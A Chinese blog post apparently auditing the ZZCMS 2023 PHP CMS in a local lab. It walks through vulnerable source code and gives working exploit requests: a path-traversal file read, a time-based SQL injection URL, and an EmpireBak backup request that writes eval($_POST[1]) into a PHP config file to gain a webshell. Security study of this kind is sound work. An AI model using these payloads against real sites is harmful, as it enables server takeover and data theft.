PHP代码审计——ZZCMS2023

Octopus Lv3

前言

继续 PHP 代码审计学习之路

审计

版本:2023
环境:Apache2.4.39+MYSQL5.7.56、PHP7.4
项目结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/install 安装程序目录(安装时必须有可写入权限)
/admin 默认后台管理目录(可任意改名)
/user 注册用户管理程序存放目录
/skin 用户网站模板存放目录;更多用户网站模板可从 zzcms.net 下载
/template 系统模板存放目录;更多系统模板可从 zzcms.net 下载
/inc 系统所用包含文件存放目录
/area 各地区显示文件
/zhaoshang 招商程序文件
/pinpai 品牌
/daili 代理
/zhanhui 展会
/company 企业
/job 招聘
/zixun 资讯
/special 专题
/ask 问答
/zhanting 注册用户展厅页程序
/one 专存放单页面,如公司简介页,友情链接页,帮助页都放在这个目录里了
/ajax ajax 程序处理页面
/reg 用户注册页面
/3 第三方插件存放目录
/3/ckeditor CK 编缉器程序存放目录
/3/alipay 支付宝在线支付系统存放目录
/3/tenpay 财富通在线支付系统存放目录
/3/qq_connect2.0 qq 登录接口文件
/3/ucenter_api discuz 论坛用户同步登录接口文件
/3/kefu 在线客服代码
/3/mobile_msg 第三方手机短信 API
/3/phpexcelreader PHP 读取 excel 文件组件
/cache 缓存文件
/uploadfiles 上传文件存放目录
/daili_excel 要导入的代理信息 excel 表格文件上传目录
/image 程序设计图片,swf 文件存放目录
/js js 文件存放目录
/html 静态页存放目录
/update 版本升级更新时,数据库更新文件临时存放目录(规则文件中指定的排除目录)
/web.config 伪静态规则文件 for iis7(万网比较常用)
/httpd.ini 伪静态规则文件 for iss6
/.htaccess 伪静态规则文件 for apache
nginx.conf

信息泄露

一、
zzcms2023/3/qq_connect2.0/API/comm/inc.php存在网站基本配置信息泄露

访问暴露了默认配置文件

二、
已被修复的CVE-2024-7925,漏洞定位在zzcms/3/E_bak5.1/upload/eginfo.php

修复关键

1
2
3
$lur=islogin();
$loginin=$lur['username'];
$rnd=$lur['rnd'];

无论传参如何在访问时第一时间都进行3/E_bak5.1/upload/class/functions.php#islogin检验是否登录EmpireBak后台

任意文件读取

zzcms2023/i/list.php存在任意文件读取漏洞,读取路径受限于网站配置,一般仅能读取网站文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
require("../inc/conn.php");
require("../inc/fy.php");
require("../inc/top.php");
require("../inc/bottom.php");
require("../inc/label.php");

require("../inc/get_cs.php");//获取参数
if (!isset($skin)){$skin='zixun_list.htm';}
$strout=read_tpl($skin);//读取模板文件
require("../inc/get_list.php");//获取列表数据,并从模板中替换
$pagetitle=$classtitle.zxlisttitle;
$pagekeywords=$classkeyword.zxlistkeyword;
$pagedescription=$classdescription.zxlistdescription;
require("../inc/replace_tpl.php");//替换模板中的变量标签
?>

在第十行对传入文件做了文件读取,并且传入的参数被放在了结尾,意味着可以任意构造../读取任意文件

最后在zzcms2023/inc/replace_tpl.php中将读取内容输出到网页中

1
2
3
4
POST /i/list.php HTTP/1.1
Host: 192.168.43.169:8089

skin=..%2F..%2Fhttpd.ini

SQL注入

定位漏洞在 zzmcs2023/zhanting/top.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#zzcms2023/zhanting/top.php
<?php
//echo $_SERVER['REQUEST_URI'];
require("fun.php");
$editor=isset($_REQUEST['editor'])?$_REQUEST['editor']:'';
$editor=substr($_SERVER['HTTP_HOST'],0,strpos($_SERVER['HTTP_HOST'],'.'));//从二级域名中获取用户名
$rs=query("select * from zzcms_userdomain where domain='".$_SERVER['HTTP_HOST']."' and passed=1 and del=0");//从顶级级域名中获取用户名
$row=mysqli_num_rows($rs);
if (!$row){
$row=fetch_array($rs);
$editor=$row["username"];
}
$id=isset($_REQUEST['id'])?$_REQUEST['id']:0;
//checkid($id,1);

$channel=strtolower($_SERVER['REQUEST_URI']);
//echo $channel;
if($id<>0){//ID放前面,EDITOR放后面
$sql="select * from zzcms_user where id='$id'";
}elseif ($editor<>"" && $editor<>"www" && $editor<>"demo" && $domain<>str_replace("http://","",siteurl)){//针对用二级域名的情况
$sql="select * from zzcms_user where username='$editor'";
}elseif(isset($editorinzsshow)) {
$sql="select * from zzcms_user where username='".$editorinzsshow."'"; //当两都为空时从zsshow接收值
}else{
showmsg ("参数不足!");exit;
}
$rs=query($sql);
$row=mysqli_num_rows($rs);
if (!$row){
showmsg ("不存在该用户信息!",siteurl);
}else{
$row=fetch_array($rs);
if ($row["lockuser"]==1){
showmsg ("用户被锁定!展厅不于显示",siteurl);
}
$id=$row["id"];
$editor=$row["username"];
$somane=$row["somane"];
$phone=$row["phone"];
$mobile=$row["mobile"];
$fox=$row["fox"];
$qq=$row["qq"];
$email=$row["email"];
$sex=$row["sex"];
$address=$row["address"];
$homepage=$row["homepage"];
$comane=$row["comane"];
$renzheng=$row["renzheng"];
$flv=$row["flv"];
$img=$row["img"];
$content=$row["content"];
$groupid=$row["groupid"];
}

$skin=ztskin;$tongji='';
$rs=query("select skin,tongji,baidu_map from zzcms_usersetting where username='".$editor."'");
$row=mysqli_num_rows($rs);
if ($row){
$row=fetch_array($rs);
$skin=$row["skin"];
$tongji=$row["tongji"];
$baidu_map=$row["baidu_map"];
}

if ($baidu_map==''){
$baidu_map=$baidu_map='http://j.map.baidu.com/dYCQy';
}

//php判断客户端是否为手机
/*
$agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($agent,"NetFront") || strpos($agent,"iPhone") || strpos($agent,"MIDP-2.0") || strpos($agent,"Opera Mini") || strpos($agent,"UCWEB") || strpos($agent,"Android") || strpos($agent,"Windows CE") || strpos($agent,"SymbianOS")) {
$skin=$skin_mobile;
}else{
$skin=$skin;
}
*/

if (isset($_GET['skin'])){//演示模板用
$skinNew=$_GET['skin'];
setcookie("skin",$skinNew,time()+10,"/");
$skin=$skinNew;
}else{
$skin=isset($_COOKIE['skin'])?$_COOKIE['skin']:$skin;
}

//usergroup
$usergroup='';
$rs=query("select groupname,grouppic,groupid,config from zzcms_usergroup where groupid=$groupid");
$row=fetch_array($rs);
$showcontact=str_is_inarr($row["config"],'showcontact');
$showad_inzt=str_is_inarr($row["config"],'showad_inzt');//用于判断是否在展厅内显广告

if($row["groupid"]>1 ){
$usergroup.="<span style='font-size:22px'>诚信企业</span>&nbsp;";
$rsviptime=query("select startdate from zzcms_user where username='".$editor."'");
$rown=fetch_array($rsviptime);
$startdate=$rown['startdate'];
$usergroup.=$usergroup . "第 ".(date('Y')-date('Y',strtotime($startdate))+1)." 年";
}else{
$usergroup.="<img src='".siteurl."/".$row["grouppic"]."'/>";
$usergroup.="&nbsp;".$row["groupname"];
}
if($renzheng==1){
$usergroup.="<img src='".siteurl."/image/ico_renzheng.png' alt='认证会员'>";
}


//banner
$banner='';
$rs=query("select * from zzcms_usersetting where username='".$editor."'");
$row=mysqli_num_rows($rs);
if(!$row){
query("INSERT INTO zzcms_usersetting (username,skin,daohang)VALUES('".$editor."','tongyong','网站首页,招商信息,公司简介,公司新闻,招聘信息,资质证书,联系方式,在线留言')");
$banner="用户配置表中无此用户信息,系统已自动修复,刷新本页后,可正常显示";
}else{
$row=fetch_array($rs);
if ($row["bannerbg"]<>''){
if ($row["bannerheight"]==1){//为1时这里不设值,默认CSS里定义的高度,样式都定义在CSS中,手机端高度拉满,电脑端宽度拉满
$banner.="<div class='banner' style='background:url(".siteurl.$row["bannerbg"].") no-repeat center bottom;color:".$row["comanecolor"].";text-align:".$row["comanestyle"]."'>";
}else{
$banner.="<div class='banner' style='background:url(".siteurl.$row["bannerbg"].") no-repeat center bottom;color:".$row["comanecolor"].";text-align:".$row["comanestyle"].";height:".$row["bannerheight"]."px;line-height:".$row["bannerheight"]."px'>";
}
}else{
if ($row["bannerheight"]==1){//为1时这里不设值,默认CSS里定义的高度
$banner.="<div class='banner';color:".$row["comanecolor"].";text-align:".$row["comanestyle"]."'>";
}else{
$banner.="<div class='banner';color:".$row["comanecolor"].";text-align:".$row["comanestyle"].";height:".$row["bannerheight"]."px;line-height:".$row["bannerheight"]."px'>";
}
}
if($row["comanestyle"]<>"no" && $row["bannerheight"]<>0){//banner上是否显示公司名
if($comane<>""){
$banner.=$comane;
}else{
$banner.="暂无公司名称";
}
}
$banner.="</div> ";
}

//nav
$nav='';
$rs=query("select * from zzcms_usersetting where username='".$editor."'");
$row=mysqli_num_rows($rs);
if(!$row ){
$nav="用户配置表中无此用户信息";
}else{
$row=fetch_array($rs);
$nav.="<ul>";
if(strpos($row["daohang"],"网站首页")!==false ){
if(strpos($channel,"zhanting/")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.="<a href='".getpageurlzt($editor,$id)."'>网站首页</a>";
$nav.="</li>";
}

if(strpos($row["daohang"],"招商信息")!==false){
if(strpos($channel,"zhanting/zhaoshang")!==false||strpos($channel,"sell")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl(channelzs."信息","sell","zhaoshang");
$nav.="</li>";
}

if(strpos($row["daohang"],"公司简介")!==false ){
if(strpos($channel,"companyshow")!==false||strpos($channel,"introduce")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("公司简介","introduce","companyshow");
$nav.="</li>";
}
if(strpos($row["daohang"],"公司新闻")!==false ){
if(strpos($channel,"news")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("新闻动态","news","news");
$nav.="</li>";
}
if(strpos($row["daohang"],"招聘信息")!==false ){
if(strpos($channel,"job")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("招聘信息","jobs","job");
$nav.="</li>";
}
if(strpos($row["daohang"],"资质证书")!==false ){
if(strpos($channel,"licence")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("资质证书","licence","licence");
$nav.="</li>";
}
if(strpos($row["daohang"],"联系方式")!==false ){
if(strpos($channel,"contact")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("联系方式","contact","contact");
$nav.="</li>";
}
if(strpos($row["daohang"],"在线留言")!==false ){
if(strpos($channel,"guestbook")!==false){$nav.="<li class='current'>";}else{$nav.="<li>";}
$nav.=ztdaohangurl("在线留言","guestbook","liuyan");
$nav.="</li>";
}
$nav.="</ul>";
}

$fp="../skin/".$skin."/top.htm";
if (file_exists($fp)==false){
tsmsg('../skin/'.$skin.'/top.htm 模板文件不存在');
}else{
$f = fopen($fp,'r');
$strout = fread($f,filesize($fp));
fclose($f);
$sitetop=str_replace("{#siteskin}",siteskin,$strout) ;
$sitetop=str_replace("{#sitename}",sitename,$sitetop) ;
$sitetop=str_replace("{#kftel}",kftel,$sitetop);
$sitetop=str_replace("{#siteurl}",siteurl,$sitetop);
$sitetop=str_replace("{#logourl}",logourl,$sitetop);
$sitetop=str_replace("{#comane}",$comane,$sitetop);
$sitetop=str_replace("{#usergroup}",$usergroup,$sitetop);
$sitetop=str_replace("{#banner}",$banner,$sitetop);
$sitetop=str_replace("{#nav}",$nav,$sitetop);
$sitetop=str_replace("{#channel_zs}",channel_zs,$sitetop);
$sitetop=str_replace("{#channel_dl}",channel_dl,$sitetop);
$sitetop=str_replace("{#channel_zh}",channel_zh,$sitetop);
$sitetop=str_replace("{#channel_zx}",channel_zx,$sitetop);
$sitetop=str_replace("{#channel_qy}",channel_qy,$sitetop);
$sitetop=str_replace("{#channel_job}",channel_job,$sitetop);
}

?>

接收外部传参id,当$id不等于 0 时直接拼入字符串并进行SQL查询

zzcms2023并没有像bluecms一样写一个全局过滤入口并在每个文件开头都调用全局过滤,由于query数据库执行函数写在 zzcms2023/inc/conn.php,这里 top.php仅引用了fun.php, 我们只需要找一个开头引用 conn.php的文件即可完成这串SQL漏洞链

Payload

1
/zhanting/job.php?id=1'union+select+sleep(5),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37-- -&skin=

任意文件上传

该漏洞成因并不是zzcms自身的,而是安装的第三方插件EmpireBak v5.1造成的,漏洞路径zzcms2023/3/E_bak5.1/upload/phomebak.php
前置条件:拥有EmpireBak后台Cookie,即登录成功

漏洞函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
function Ebak_DoEbak($add){
global $empire,$bakpath,$fun_r,$phome_db_ver;
$dbname=RepPostVar($add['mydbname']);
if(empty($dbname))
{
printerror("NotChangeDb","history.go(-1)");
}
$tablename=$add['tablename'];
$count=count($tablename);
if(empty($count))
{
printerror("EmptyChangeTb","history.go(-1)");
}
$add['baktype']=(int)$add['baktype'];
$add['filesize']=(int)$add['filesize'];
$add['bakline']=(int)$add['bakline'];
$add['autoauf']=(int)$add['autoauf'];
if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype']))
{
printerror("EmptyBakFilesize","history.go(-1)");
}
//目录名
if(empty($add['mypath']))
{
$add['mypath']=$dbname."_".date("YmdHis");
}
DoMkdir($bakpath."/".$add['mypath']);
//生成说明文件
$readme=$add['readme'];
$rfile=$bakpath."/".$add['mypath']."/readme.txt";
$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
WriteFiletext_n($rfile,$readme);

$b_table="";
$d_table="";
for($i=0;$i<$count;$i++)
{
$b_table.=$tablename[$i].",";
$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
}
//去掉最后一个,
$b_table=substr($b_table,0,strlen($b_table)-1);
$bakstru=(int)$add['bakstru'];
$bakstrufour=(int)$add['bakstrufour'];
$beover=(int)$add['beover'];
$waitbaktime=(int)$add['waitbaktime'];
$bakdatatype=(int)$add['bakdatatype'];
if($add['insertf']=='insert')
{
$insertf='insert';
}
else
{
$insertf='replace';
}
if($phome_db_ver=='4.0'&&$add['dbchar']=='auto')
{
$add['dbchar']='';
}
$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\";
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\";
\$b_autofield=\",".addslashes($add['autofield']).",\";
\$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
if($add['baktype'])
{
$phome='BakExeT';
}
else
{
$phome='BakExe';
}
echo $fun_r['StartToBak']."<script>self.location.href='phomebak.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime';</script>";
exit();
}

对关键段进行分析:直接接收外部传入 tablename表名单数组,如果元组数量为空则弹警告

再往下看,这里将数组元素循环赋值给两个变量,同时为 $d_table 字符串添加一段 PHP 代码,格式为 $tb[表名]=0; 并加上换行符 \r\n,最后substr去掉最后一个逗号

最后所有数组元素合并成一串php代码写入config.php中,这包括$b_table

总结:公共函数处理表单Ebak_DoEbak未经过滤将tablename拼入$b_table并生成php文件,造成任意文件上传漏洞
Payload如下

1
2
3
4
POST /3/E_bak5.1/upload/phomebak.php HTTP/1.1
Host: 192.168.43.169:8089

phome=DoEbak&mydbname=information_schema&savename=&oldtablepre=&newtablepre=&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=auto&bakdatatype=1&mypath=information_schema_20240830060146XttHTw1&insertf=replace&waitbaktime=0&readme=&autofield=&keyboard=&tablename%5B%5D=eval($_POST[1])&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

GetShell !!!

后话

这次学习 CV仅学习漏洞细节,并没有实际对整个 ZZCMS 框架逻辑分析,主要还是全流程分析和审计漏洞太费时,仅学习漏洞细节会比较快,包裹一些反序列化链,都是单项任务,学完链子就行了

  • 标题: PHP代码审计——ZZCMS2023
  • 作者: Octopus
  • 创建于 : 2025-06-13 17:20:36
  • 更新于 : 2025-06-15 21:56:35
  • 链接: https://redefine.ohevan.com/2025/06/13/PHP代码审计初学02-ZZCMS2023/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论